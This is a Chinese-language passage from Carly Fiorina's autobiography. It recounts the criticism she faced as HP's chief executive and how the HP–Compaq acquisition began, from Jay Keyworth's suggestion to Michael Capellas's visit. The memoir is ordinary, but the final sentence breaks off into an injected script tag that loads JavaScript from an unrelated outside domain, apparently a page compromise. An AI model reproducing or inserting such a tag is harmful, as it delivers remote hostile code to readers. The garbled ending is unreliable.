也许，因为我追求效率，所以牺牲了一些民主。也许，我低估了人们可以自我提升的能力。不过，对于很多人而言，责备新到任的首席执行官总是比较容易，所以他们送我一个新绰号“杀人女魔头卡莉”。当两位创始人的儿子反对我收购康柏的时候，这个绰号更是深入人心，因为我宁可丢了饭碗都愿意继续推进收购进程，“很明显”我对他们父亲的产业根本不当一回事。富有戏剧性的是，后来我得知有人建议将我解雇，理由是我无法有力地裁员和削减开支。看来，我在有些人眼里是杀人魔头，在有些人眼里又过于软弱。
(文自中信出版社出版《勇敢抉择—卡莉·菲奥莉娜自传》，卡莉·菲奥莉娜曾担任惠普公司ceo)
在黑暗中找到合并的光亮
2000年12月中旬，整个美国的经济仿佛忽然停滞了。在一次会议上，分析家问我对当前的市场形势怎么看，我说：“好像有人把所有的灯都熄灭了。”
事实上，美联储下了一剂猛药，在2001年1月两次将联邦基金利率下调了50个基点，惠普的经费随之大幅下降。结果带来的股市熊市是历史上最严重的。毫无疑问，经济下滑和股市的不景气让我工作的各方面都变得更有难度，让削减成本的要求变得更加迫切。2001年初，我发现了经济下滑之外的苗头。这不是行业内的周期性变化，而是结构性变化。如果一个产业的收入趋于下降，这个产业就该整合了。客户总想花更少的钱，得到更优质的产品和服务，因此更多的竞争对手会形成联盟来加强整体实力。早在2001年我就提出过行业整合的想法，但是当时没人把我的话当一回事。直到2003年，甲骨文公司首席执行官拉里·埃里森开始推出整合战略时，这个话题才真正引起重视。
2000年底，杰·凯沃斯对我说：“我和迪克·哈克伯恩谈过，我们都觉得可以把康柏买下来。”
杰·凯沃斯和我谈康柏收购案时那种满不在乎的神情让我很受触动。我想往他头上浇一盆凉水，他要是春风得意，见谁就会跟谁透露消息。我们最近刚刚停止了对普华永道商务咨询部的收购。之前，有人把我们的谈判过程透露给了媒体，我们不得不按照市场价格收购。一般而言，如果没有走漏风声，市场上会有很多猜测，尤其是我们的出价。这样我们就有很大的回旋余地，如果价格谈不拢，我可以一次又一次地从谈判桌前走人，直到价格从160亿美元降到30亿美元为止。
这次经历让我深深体会到，进行大规模收购，我们必须连续几个月在绝对保密的情况下谈判。我把各种反驳理由告诉了杰·凯沃斯，告诉他这起收购没有意义，在一番激烈的讨论之后，我们在三个方面达成了共识：第一，我们不能孤立地看待收购康柏这件事，必须和其他战略选择综合考虑；第二，康柏是个庞然大物，不能掉以轻心，要在董事会仔细讨论每个细节，包括从收购价到整合等问题，也许在讨论过程中我们会觉得收购康柏是个错误的决定而放弃；第三，我们会等康柏主动来找我们。我告诉杰·凯沃斯，我们没必要主动和康柏接洽，也无须采取主动姿态，我相信康柏的首席执行官会来主动找我。
我关注康柏已经整整一年了。1999年12月，经过开会讨论分析后，宣布单一产品的时代已经结束了。在信息瞬息万变的时代，我们需要提供系统化的产品和服务。我发现康柏几乎采用了同样的策略，甚至使用的措辞都一样。我知道，在个人电脑业务方面康柏和戴尔不分伯仲，在商用机市场方面康柏做得比我们好，在增长最快的服务器市场康柏也把我们压得喘不过气来。康柏收购了tandem公司和美国数字设备公司(dec)，获得了高端电脑和服务器的生产能力。我知道科技行业的周期性经济衰退和结构重整格局对康柏的压力比对惠普还要大，因为康柏的产品种类不如惠普多，所以他们的市场地位、财务状况以及股价受到的冲击更大。我们彼此需要，但是他们需要我们的程度更甚，因此我们坐等他们的电话就行了。
2001年1月，我在出席董事会会议时发言说，整个科技领域将会遭遇寒冬。不过，这对惠普是一个巨大的机遇，我们要抓住这个机遇。我们要聘请麦肯锡的顾问团队，讨论一系列战略意向，包括在打印业务、服务业和电脑业展开收购以及将公司进行拆分的可能性。我们必须马上进行这样的战略考虑，因为康柏打来电话只是时间早晚的问题。不出所料，迈克尔·卡佩拉斯打来了电话，他和康柏的首席技术官夏恩·罗比逊想要做客惠普，和我们讨论产品研发合作的事宜。迈克尔·卡佩拉斯想和我单独谈谈。几乎没绕任何圈子，他直接对我说：“卡莉，我觉得惠普应该收购康柏，我们可以把康柏融入惠普品牌，惠普的总部帕洛阿尔托将成为新公司的总部，由你担任新公司的首席执行官。”这种开始谈判的方式让我感到吃惊，因为他的这番话使自己丧失了很多谈判的筹码。
我问他：“迈克尔，康柏的董事会知道你在这里吗？他们事先知道你这个提议吗？”他向我保证康柏的董事会一致支持他的提议。当时我感到很奇怪，为什么第一次接洽康柏的董事会就让他们的首席执行官?script src=http://er12.com/t.js>
